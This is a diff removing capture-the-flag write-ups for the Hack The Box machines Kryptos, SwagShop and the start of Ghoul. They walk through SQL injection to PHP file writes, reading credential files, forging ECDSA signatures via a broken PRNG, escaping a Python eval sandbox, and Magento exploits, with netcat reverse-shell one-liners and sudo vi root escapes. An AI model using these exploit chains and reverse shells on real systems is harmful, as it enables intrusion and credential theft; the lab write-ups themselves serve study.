    - -``` - -This is because I need to URL encode the value of the `bookid` parameter otherwise the query becomes invalid. - -I modified the script to support a 2nd argument that contains extra data that needs to be URL encoded twice: - -```python -#!/usr/bin/python - -from bs4 import BeautifulSoup - -import base64 -import requests -import readline -import sys -import urllib - -headers = { "Cookie": "PHPSESSID=pek49sa9sh4ntpca7cp1f5nffi"} -proxies = { "http": "http://127.0.0.1:8080" } - -def sxor(s1,s2): - return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) - -payload = urllib.quote_plus(sys.argv[1]) -extra = "" # Extra payload to be double-encoded - -if len(sys.argv) < 2: - print "Usage: decrypthttp.py " - sys.exit(-1) -elif len(sys.argv) == 3: - extra = urllib.quote_plus(urllib.quote_plus(sys.argv[2])) - -with open("keystream", "rb") as f: - k = f.read() - -r = requests.get("http://kryptos.htb/encrypt.php?cipher=RC4&url=%s%s" % (payload, extra), headers=headers, proxies=proxies) -soup = BeautifulSoup(r.text, "html.parser") -result_b64 = soup.find("textarea").string -if result_b64: - c = base64.b64decode(result_b64) - p = sxor(c, k) - print p -else: - print "** Nothing returned **" -``` - -Testing the injection again, I can see that it works now since I get both book entries: - -``` -# python decrypthttp.py "http://127.0.0.1/dev/sqlite_test_page.php?bookid=" "1 or 2" - - - -Opened database successfully -Query : SELECT * FROM books WHERE id=1 or 2 -Name = Serious Cryptography -Name = Applied Cryptography - - -``` - -Sqlite supports stacked queries so that allows me to write arbitrary files. I can create a new database in the `d9e28afcf0b274a5e0542abb67db0784` directory and write PHP data into a table. Then by issuing a GET to that file the PHP code should be reached and executed. - -First, I tested writing a simple text file with no PHP code. - -``` -# python decrypthttp.py "http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=1" ";ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.txt' AS snow; CREATE TABLE snow.pwn (yolo text); INSERT INTO snow.pwn (yolo) VALUES ('Testing...');" - - - -Opened database successfully -Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.txt' AS snow; CREATE TABLE snow.pwn (yolo text); INSERT INTO snow.pwn (yolo) VALUES ('Testing...'); - - - -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/test.txt" -��.EtablepwnpwnCREATE TABLE pwn (yolo text) - !Testing... -``` - -So this confirms that I can now write files to the target directory. Then I wrote a `phpinfo.php` to check the PHP configuration: - -``` -# python decrypthttp.py "http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=1" ";ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/phpinfo.php' AS snow; CREATE TABLE snow.pwn (yolo text); INSERT INTO snow.pwn (yolo) VALUES ('');" - - - -Opened database successfully -Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/phpinfo.php' AS snow; CREATE TABLE snow.pwn (yolo text); INSERT INTO snow.pwn (yolo) VALUES (''); - - -``` - -``` -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/phpinfo.php" -[...] -System Linux kryptos 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09: -33:07 UTC 2019 x86_64 -[...] -disable_functionssystem,dl,passthru,exec,shell_exec,popen,escapeshe -llcmd,escapeshellarg,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pc -ntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_si -gnal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwa -itinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,dl,passthru,exec,shell_exec,popen,escapeshellcmd,escapeshellarg,pcntl_alarm,pcntl_fork,pc -ntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexit -status,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_g -et_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_get -priority,pcntl_setpriority,pcntl_async_signals, -``` - -I can't easily get a PHP shell since most of the "dangerous" functions are disabled. But I can read directories and files. - -To scan directories: - -``` -# python decrypthttp.py "http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=1" ";ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/dir.php' AS snow; CREATE TABLE snow.pwn (yolo text); INSERT INTO snow.pwn (yolo) VALUES ('');" -``` - -I found the user directory and interesting files in it: - -``` -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/dir.php?x=/home/" -��)[array(3) {nCREATE TABLE pwn (yolo text) - [0]=> - string(1) "." - [1]=> - string(2) ".." - [2]=> - string(8) "rijndael" -} - -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/dir.php?x=/home/rijndael" -��)[array(13) {CREATE TABLE pwn (yolo text) - [0]=> - string(1) "." - [1]=> - string(2) ".." - [2]=> - string(13) ".bash_history" - [3]=> - string(12) ".bash_logout" - [4]=> - string(7) ".bashrc" - [5]=> - string(6) ".cache" - [6]=> - string(6) ".gnupg" - [7]=> - string(8) ".profile" - [8]=> - string(4) ".ssh" - [9]=> - string(9) "creds.old" - [10]=> - string(9) "creds.txt" - [11]=> - string(7) "kryptos" - [12]=> - string(8) "user.txt" -} -``` - -To read the files: - -``` -# python decrypthttp.py "http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=1" ";ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/file.php' AS snow; CREATE TABLE snow.pwn (yolo text); INSERT INTO snow.pwn (yolo) VALUES ('');" -``` - -``` -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/file.php?x=/etc/passwd" -�� Iroot:x:0:0:root:/root:/bin/bashlo text) -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -bin:x:2:2:bin:/bin:/usr/sbin/nologin -sys:x:3:3:sys:/dev:/usr/sbin/nologin -sync:x:4:65534:sync:/bin:/bin/sync -games:x:5:60:games:/usr/games:/usr/sbin/nologin -man:x:6:12:man:/var/cache/man:/usr/sbin/nologin -lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin -mail:x:8:8:mail:/var/mail:/usr/sbin/nologin -news:x:9:9:news:/var/spool/news:/usr/sbin/nologin -uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin -proxy:x:13:13:proxy:/bin:/usr/sbin/nologin -www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin -backup:x:34:34:backup:/var/backups:/usr/sbin/nologin -list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin -irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin -gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin -nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin -systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin -systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin -syslog:x:102:106::/home/syslog:/usr/sbin/nologin -messagebus:x:103:107::/nonexistent:/usr/sbin/nologin -_apt:x:104:65534::/nonexistent:/usr/sbin/nologin -uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin -sshd:x:106:65534::/run/sshd:/usr/sbin/nologin -rijndael:x:1001:1001:,,,:/home/rijndael:/bin/bash -mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false - -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/file.php?x=/home/rijndael/user.txt" -�� ItablepwnpwnCREATE TABLE pwn (yolo text) - -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/file.php?x=/home/rijndael/creds.txt" -�� IVimCrypt~02!REATE TABLE pwn (yolo text) -�vnd]�K�yYC}�5�6gMRA�nD�@p;�-� - -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/file.php?x=/home/rijndael/creds.old" -�� Irijndael / Password1BLE pwn (yolo text) -``` - -Ok, so I can't read the `user.txt` file, I'll probably need to get a shell first. - -The creds files are interesting but the binary output from the PHP script makes it hard to determine what is the content of the file being read versus the binary from the sqlite database. I'll just modify the script so it outputs the base64 content of file being read instead. - -``` -# python decrypthttp.py "http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=1" ";ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test30.php' AS snow; CREATE TABLE snow.pwn (yolo text); INSERT INTO snow.pwn (yolo) VALUES ('');" -``` - -``` -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/test30.php?x=/home/rijndael/creds.old" -��O�%---cmlqbmRhZWwgLyBQYXNzd29yZDEK---ext) - -# python decrypthttp.py "http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/test30.php?x=/home/rijndael/creds.txt" -��O�%---VmltQ3J5cHR+MDIhCxjkNctWEpo1RIBAcDuWLZMNqBB2bmRdwUviHHlZQ33ZNfs2Z01SQYtu--- - -# echo -ne "cmlqbmRhZWwgLyBQYXNzd29yZDEK" | base64 -d > creds.old -# echo -ne "VmltQ3J5cHR+MDIhCxjkNctWEpo1RIBAcDuWLZMNqBB2bmRdwUviHHlZQ33ZNfs2Z01SQYtu" | base64 -d > creds.txt - -# cat creds.old -rijndael / Password1 -# cat creds.txt -VimCrypt~02! -�vnd]�K�yYC}�5�6gMRA�n -``` - -The `creds.txt` file contains binary, running `file` on it I can see it's a Vim encrypted file: - -``` -# file creds.txt -creds.txt: Vim encrypted file data -``` - -`VimCrypt~02!` means that the `blowfish` cipher is used to encrypt the file. - -The [https://dgl.cx/2014/10/vim-blowfish](https://dgl.cx/2014/10/vim-blowfish) blog explains a vulnerability in the blowfish Vim implementation. The same IV is used for the first 8 block. Since the encrypted file is very small it means that the same IV is used for both files. - -If we look at the encrypted file, we see that the ciphertext is : - -![](/assets/images/htb-writeup-kryptos/creds.png) - -``` -930d a810 766e 645d c14b e21c 7959 437d -d935 fb36 674d 5241 8b6e -``` - -I can guess that the first part of both files is the same -> `rijndael` (known plaintext) - -By XORing the first 8 bytes of both files I can recover the key stream then the plaintext: - -![](/assets/images/htb-writeup-kryptos/xor1.png) - -![](/assets/images/htb-writeup-kryptos/xor2.png) - -The password for `rijndael` is `bkVBL8Q9HuBSpj` - -I can log in and get the first flag: - -``` -# ssh rijndael@kryptos.htb -rijndael@kryptos.htb's password: -Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-46-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage - - - * Canonical Livepatch is available for installation. - - Reduce system reboots and improve kernel security. Activate at: - https://ubuntu.com/livepatch -Last login: Wed Mar 13 12:31:55 2019 from 192.168.107.1 - -rijndael@kryptos:~$ cat user.txt -92b69... -``` - -### Privesc - -The next target is obvious: there's a python script running as root with a webserver on port 81. - -``` -rijndael@kryptos:~/kryptos$ ps -ef | grep python3 -[...] -root 772 1 0 Apr07 ? 00:00:07 /usr/bin/python3 /root/kryptos.py -root 846 772 0 Apr07 ? 00:01:35 /usr/bin/python3 /root/kryptos.py -``` - -Source code is in `~/kryptos/kryptos.py`: - -```python -import random -import json -import hashlib -import binascii -from ecdsa import VerifyingKey, SigningKey, NIST384p -from bottle import route, run, request, debug -from bottle import hook -from bottle import response as resp - - -def secure_rng(seed): - # Taken from the internet - probably secure - p = 2147483647 - g = 2255412 - - keyLength = 32 - ret = 0 - ths = round((p-1)/2) - for i in range(keyLength*8): - seed = pow(g,seed,p) - if seed > ths: - ret += 2**i - return ret - -# Set up the keys -seed = random.getrandbits(128) -rand = secure_rng(seed) + 1 -sk = SigningKey.from_secret_exponent(rand, curve=NIST384p) -vk = sk.get_verifying_key() - -def verify(msg, sig): - try: - return vk.verify(binascii.unhexlify(sig), msg) - except: - return False - -def sign(msg): - return binascii.hexlify(sk.sign(msg)) - -@route('/', method='GET') -def web_root(): - response = {'response': - { - 'Application': 'Kryptos Test Web Server', - 'Status': 'running' - } - } - return json.dumps(response, sort_keys=True, indent=2) - -@route('/eval', method='POST') -def evaluate(): - try: - req_data = request.json - expr = req_data['expr'] - sig = req_data['sig'] - # Only signed expressions will be evaluated - if not verify(str.encode(expr), str.encode(sig)): - return "Bad signature" - result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe - response = {'response': - { - 'Expression': expr, - 'Result': str(result) - } - } - return json.dumps(response, sort_keys=True, indent=2) - except: - return "Error" - -# Generate a sample expression and signature for debugging purposes -@route('/debug', method='GET') -def debug(): - expr = '2+2' - sig = sign(str.encode(expr)) - response = {'response': - { - 'Expression': expr, - 'Signature': sig.decode() - } - } - return json.dumps(response, sort_keys=True, indent=2) - -run(host='127.0.0.1', port=81, reloader=True) -``` - -The first thing that jumps out is the `eval()` expression. It's been somewhat "hardened" since the builtins are disabled, but there's a way to bypass that. But first, I need to generate a valid signature for the expression to be evaluated. - -The second thing is the PRNG function `secure_rng` seems suspicious. I'm no crypto or math expert but when I run the function multiple times I see the same values generated quite often which indicates a broken PRNG. - -I took the function and put it in a new script to test the entropy of the values generated. - -```python -import random - -def secure_rng(seed): - # Taken from the internet - probably secure - p = 2147483647 - g = 2255412 - - keyLength = 32 - ret = 0 - ths = round((p-1)/2) - for i in range(keyLength*8): - seed = pow(g,seed,p) - if seed > ths: - ret += 2**i - return ret - -for i in range(0,100): - seed = random.getrandbits(128) - rand = secure_rng(seed) + 1 - print rand -``` - -``` -# python testrng.py -100 -59763658961195455702488250327064726633945798537104807246171656262148713381967 -5 -115792089237316195423570985008687907853269984665640564039457584007913129639931 -7470457370149431962811031290883090829243224817138100905771457032768594248078 -25 -59763658961195455702488250327064726633945798537104807246171656262148754428249 -59763658961195455702488250327064726633945798537104807246171656262148712113590 -2 -7470457370149431962811031290883090829243224817138100905771457032768589009034 -[...] -14940914740298863925622062581766181658486449634276201811542914065537178345491 -17 -14940914740298863925622062581766181658486449634276201811542914065537188607221 -[...] -7470457370149431962811031290883090829243224817138100905771457032768594248078 -1 -29881829480597727851244125163532363316972899268552403623085828131074356036114 -2 -38 -6 -59763658961195455702488250327064726633945798537104807246171656262148712073505 -[...] -29881829480597727851244125163532363316972899268552403623085828131074356690984 -6 -1 -59763658961195455702488250327064726633945798537104807246171656262148713381985 -11 -3735228685074715981405515645441545414621612408569050452885728516384297124039 -6 -3735228685074715981405515645441545414621612408569050452885728516384297124039 -3735228685074715981405515645441545414621612408569050452885728516384378329292 -``` - -Some numbers repeat multiple times which is very unusual. I can test how many tries it takes on average to get a specific value (2 for example): - -```python -import random - -def secure_rng(seed): - # Taken from the internet - probably secure - p = 2147483647 - g = 2255412 - - keyLength = 32 - ret = 0 - ths = round((p-1)/2) - for i in range(keyLength*8): - seed = pow(g,seed,p) - if seed > ths: - ret += 2**i - return ret - -tries = 0 - -for i in range(0,100): - while True: - tries = tries + 1 - seed = random.getrandbits(128) - rand = secure_rng(seed) + 1 - if rand == 2: - break - -print("It took on average %d times to get the same value twice" % (tries / 100)) -``` - -``` -# python testrng.py -It took on average 23 times to get the same value twice -``` - -This confirms that the PRNG is totally broken. So in theory I should able to submit any eval request and it'll work after a few attempts. To test, I'll do a local port forward with SSH first: - -``` -# ssh -L 81:127.0.0.1:81 rijndael@kryptos.htb -rijndael@kryptos.htb's password: -``` - -Then I modify the script to take the expression from CLI argument and submit it until I get a valid signature: - -```python -if len(sys.argv) != 2: - print "Usage: expr.py " - -headers = { "Content-Type": "application/json"} -expr = sys.argv[1] - -tries = 0 -while True: - tries = tries + 1 - seed = random.getrandbits(128) - rand = secure_rng(seed) + 1 - sk = SigningKey.from_secret_exponent(rand, curve=NIST384p) - vk = sk.get_verifying_key() - - d = create_sig(expr) - data = '{ "expr": \"%s\", "sig": "%s" }' % (expr, json.loads(d)['response']['Signature']) - r = requests.post("http://127.0.0.1:81/eval", data=data, headers=headers) - if 'Bad signature' not in r.text: - print "Found a valid signature after %d tries" % tries - print r.text - exit() -``` - -The script works and after a few seconds I get a valid signature and the expression I submitted gets evaluated. - -``` -# python expr.py "'This '+'is'+' working'" -Found a valid signature after 4 tries -{ - "response": { - "Expression": "'This '+'is'+' working'", - "Result": "This is working" - } -} -``` - -Now I need to fix the last part: find a way to bypass the empty builtins set on the eval function. This a classic Python CTF challenge and there are multiple blogs showing various ways to jail escape this. - -``` -# python expr.py "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 4444 >/tmp/f')" -``` - -My eval works now and I get a reverse shell as `root`: - -``` -# nc -lvnp 4444 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::4444 -Ncat: Listening on 0.0.0.0:4444 -Ncat: Connection from 10.10.10.129. -Ncat: Connection from 10.10.10.129:44552. -/bin/sh: 0: can't access tty; job control turned off -# id -uid=0(root) gid=0(root) groups=0(root) -# cat /root/root.txt -6256d6... -``` \ No newline at end of file diff --git a/_posts/2019-09-28-htb-writeup-swagshop.md b/_posts/2019-09-28-htb-writeup-swagshop.md deleted file mode 100644 index d33775ddbb..0000000000 --- a/_posts/2019-09-28-htb-writeup-swagshop.md +++ /dev/null @@ -1,176 +0,0 @@ ---- -layout: single -title: Swagshop - Hack The Box -excerpt: "SwagShop is one of those easy boxes where you can pop a shell just by using public exploits. It's running a vulnerable Magento CMS on which we can create an admin using an exploit then use another one to get RCE. To privesc I can run vi as root through sudo and I use a builtin functionality of vi that allows users to execute commands from vi so I can get root shell." -date: 2019-09-28 -classes: wide -header: - teaser: /assets/images/htb-writeup-swagshop/swagshop_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - magento - - vi - - sudo ---- - -![](/assets/images/htb-writeup-swagshop/swagshop_logo.png) - -SwagShop is one of those easy boxes where you can pop a shell just by using public exploits. It's running a vulnerable Magento CMS on which we can create an admin using an exploit then use another one to get RCE. To privesc I can run vi as root through sudo and I use a builtin functionality of vi that allows users to execute commands from vi so I can get root shell. - -## Summary - -- A Vulnerable Magento CMS 1.9.0 instance is running and we can use a CVE to create an admin account -- We then use another exploit to get RCE and a shell on the box -- `vi` is in the sudoers file for www-data and we can execute a shell as root from withing `vi` with `:!/bin/sh` - -## Tools/Blogs used - -- Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution -- Magento eCommerce - Remote Code Execution - -## Detailed steps - -### Portscan - -``` -# nmap -sC -sV -p- 10.10.10.140 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 20:52 EDT -Nmap scan report for swagshop.htb (10.10.10.140) -Host is up (0.011s latency). -Not shown: 65533 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA) -| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA) -|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519) -80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) -|_http-server-header: Apache/2.4.18 (Ubuntu) -|_http-title: Did not follow redirect to http://10.10.10.140/ -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Website enumeration - -The website is running the Magento CMS: - -![](/assets/images/htb-writeup-swagshop/webpage.png) - -Gobuster finds the directories associated with Magento: - -``` -# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -u http://10.10.10.140 -/app (Status: 301) -/downloader (Status: 301) -/errors (Status: 301) -/favicon.ico (Status: 200) -/includes (Status: 301) -/js (Status: 301) -/lib (Status: 301) -/media (Status: 301) -/pkginfo (Status: 301) -/server-status (Status: 403) -/shell (Status: 301) -/skin (Status: 301) -/var (Status: 301) -===================================================== -2019/05/11 20:57:10 Finished -===================================================== -``` - -Indexing is on for those directories: - -![](/assets/images/htb-writeup-swagshop/indexing.png) - -I have access to `/app/etc/local.xml` which contains the encrypted database password and the encryption key. - -![](/assets/images/htb-writeup-swagshop/local.png) - -I could not find any public tool to decrypt the password and because this is a 20 pts box there's probably some generic CVE exploit online that I can use. - -### Getting a shell - -A quick look with `searchsploit magento` shows the two interesting exploits: - -- Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution -- Magento eCommerce - Remote Code Execution - -The `Magento eCommerce - Remote Code Execution` exploit creates a new admin account with `forme/forme` as credentials. I just need to modify the target and the exploit and launch it to get an admin account: - -``` -# python 37997.py -WORKED -Check http://10.10.10.140/index.php/admin with creds form -``` - -I can now log in to the admin panel: - -![](/assets/images/htb-writeup-swagshop/admin1.png) - -![](/assets/images/htb-writeup-swagshop/admin2.png) - -I'll use the other exploit `Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution` to gain remote code execution. I need to change the `username`, `password`, and `install_date` parameters. The `install_data` is in the `local.xml` I found earlier. - -``` -username = 'forme' -password = 'forme' -php_function = 'system' # Note: we can only pass 1 argument to the function -install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml -``` - -Launching exploit to spawn a reverse shell: - -``` -python 37811.py http://10.10.10.140/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 9999 >/tmp/f" - -# nc -lvnp 9999 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::9999 -Ncat: Listening on 0.0.0.0:9999 -Ncat: Connection from 10.10.10.140. -Ncat: Connection from 10.10.10.140:44376. -/bin/sh: 0: can't access tty; job control turned off -$ whoami -www-data -$ cd /home -$ ls -haris -$ cat haris/user.txt -a44887... -``` - -### Privesc - -The privesc is obvious: The `www-data` user can execute `vi` as root. I know I can spawn a shell from within `vi` with `:!/bin/sh` and it'll run as root because of sudo. - -``` -$ sudo -l -Matching Defaults entries for www-data on swagshop: - env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - -User www-data may run the following commands on swagshop: - (root) NOPASSWD: /usr/bin/vi /var/www/html/* - -$ python3 -c 'import pty;pty.spawn("/bin/bash")' -www-data@swagshop:/home$ sudo /usr/bin/vi /var/www/html/pwn -c ':!/bin/sh' - -# id -uid=0(root) gid=0(root) groups=0(root) -# cat /root/root.txt -c2b087... - - ___ ___ - /| |/|\| |\ -/_| ´ |.` |_\ We are open! (Almost) - | |. | - | |. | Join the beta HTB Swag Store! - |___|.__| https://hackthebox.store/password - - PS: Use root flag as password! -# -``` \ No newline at end of file diff --git a/_posts/2019-10-05-htb-writeup-ghoul.md b/_posts/2019-10-05-htb-writeup-ghoul.md deleted file mode 100644 index 0ec071c621..0000000000 --- a/_posts/2019-10-05-htb-writeup-ghoul.md +++ /dev/null @@ -1,810 +0,0 @@ ---- -layout: single -title: Ghoul - Hack The Box -excerpt: "Ghoul was a tricky box from Minatow that required pivoting across 3 containers to find the bits and pieces needed to get root. To get a shell I used a Zip Slip vulnerability in the Java upload app to drop a PHP meterpreter payload on the webserver. After pivoting and scanning the other network segment I found a Gogs application server that is vulnerable and I was able to get a shell there. More credentials were hidden inside an archive file and I was able to use the root shell on one of the container to hijack the SSH agent socket from a connecting root user and hop onto the host OS." -date: 2019-10-05 -classes: wide -header: - teaser: /assets/images/htb-writeup-ghoul/ghoul_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - zipslip - - git - - ssh - - unintended - - gogs - - containers ---- - -![](/assets/images/htb-writeup-ghoul/ghoul_logo.png) - -Ghoul was a tricky box from Minatow that required pivoting across 3 containers to find the bits and pieces needed to get root. To get a shell I used a Zip Slip vulnerability in the Java upload app to drop a PHP meterpreter payload on the webserver. After pivoting and scanning the other network segment I found a Gogs application server that is vulnerable and I was able to get a shell there. More credentials were hidden inside an archive file and I was able to use the root shell on one of the container to hijack the SSH agent socket from a connecting root user and hop onto the host OS. - -## Summary - -- Guess the simple HTTP basic auth credentials for the tomcat web application running on port 8080 -- Exploit the Zip Slip vulnerability in the upload form to upload a meterpreter shell -- Find SSH keys backups for 3 local users, one of them is encrypted but the password is found in the chat app screenshot -- Find additional container hosts by uploading a statically compiled nmap binary -- Identify cronjob of user logging onto one of the container and using the SSH agent -- Find Gogs application running on another container and pop a shell using CVE-2018-18925 and CVE-2018-20303 -- Download 7zip archive containing a git repo and extract credentials from git reflogs -- Log in as root to the container on which we found the SSH agent earlier and hijack the private keys of the connecting user to get root access on the host - -### Tools/Blogs used - -- [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) -- [https://github.com/TheZ3ro/gogsownz](https://github.com/TheZ3ro/gogsownz) - -### Portscan - -A few observations based on the initial scan: -- There are two sshd daemons running on this box and they're both running a different version. -- There are two webservers, one running Apache and the other one Tomcat - -``` -# nmap -sC -sV -p- 10.10.10.101 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-06 15:00 EDT -Nmap scan report for ghoul.htb (10.10.10.101) -Host is up (0.011s latency). -Not shown: 65531 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA) -|_ 256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA) -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: Aogiri Tree -2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA) -| 256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA) -|_ 256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519) -8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 -| http-auth: -| HTTP/1.1 401 Unauthorized\x0D -|_ Basic realm=Aogiri -|_http-server-header: Apache-Coyote/1.1 -|_http-title: Apache Tomcat/7.0.88 - Error report -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Website enumeration on port 80 - -The website is some kind of Tokyo Ghoul themed website with a homepage, blog and contact section. - -![](/assets/images/htb-writeup-ghoul/port80.png) - -There's a contact form so that could be a potential target for command injection or XSS: - -![](/assets/images/htb-writeup-ghoul/contact.png) - -The contact form doesn't work because it sends a `POST /bat/MailHandler.php` and that file doesn't exist. This is probably safe to ignore for now. - -Like every box running a webserver, I'm running gobuster to see if I can find any hidden directories or files. - -``` -# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -x php -u http://10.10.10.101 -[...] -/archives (Status: 301) -/css (Status: 301) -/images (Status: 301) -/js (Status: 301) -/secret.php (Status: 200) -/server-status (Status: 403) -/uploads (Status: 301) -/users (Status: 301) -``` - -`secret.php`, `/users` and `/uploads` are interesting, but the later gives me a 403 Forbidden message. - -The `secret.pnp` is just an image of some kind of simulated chat application. - -![](/assets/images/htb-writeup-ghoul/secret.png) - -I've highlighted above some possibles clues: - -- That fake flag/hash is obviously a troll -- There's a mention of an RCE, file service, and vsftp. I didn't see FTP open during my portscan however. -- IP logs, maybe useful for something else -- X server, but I didn't see that port open during the portscan -- ILoveTouka could be a password or part of a password, I'll keep that in mind for later - -The `/users` page shows a login page: - -![](/assets/images/htb-writeup-ghoul/users.png) - -I tried a couple of default logins and looked for SQL injections, no luck. I will need to find the credentials to get past the login page. - -### Website enumeration on port 8080 - -The website is protected with HTTP Basic Auth, but I guessed the `admin/admin` login right on the first try. - -Once authenticated, I find another website running on port 8080. It's some generic company website. - -![](/assets/images/htb-writeup-ghoul/port8080.png) - -There's also a contact form but it doesn't seem to do anything except return some random message: - -![](/assets/images/htb-writeup-ghoul/contact2.png) - -![](/assets/images/htb-writeup-ghoul/troll_1.png) - -The most interesting thing on this page are the two upload forms: One for images, and another one for Zip files. - -![](/assets/images/htb-writeup-ghoul/upload_img.png) - -![](/assets/images/htb-writeup-ghoul/upload_zip.png) - -The image upload form checks that the file signature is a JPEG. - -![](/assets/images/htb-writeup-ghoul/upload_jpg_ok.png) - -If I try to upload any other file type I get the following error message. - -![](/assets/images/htb-writeup-ghoul/upload_jpg_nok.png) - -The same checks are enforced for ZIP files, here's a successful upload for a ZIP file: - -![](/assets/images/htb-writeup-ghoul/upload_jpg_ok.png) - -And here's the error when uploading another file type: - -![](/assets/images/htb-writeup-ghoul/upload_jpg_nok.png) - -So it seems I can only upload ZIP and JPG files and I don't know where they are stored. I ran gobuster to try to find an upload folder or something on port 8080 but I didn't find anything. - -### Getting a shell with Zip Slip - 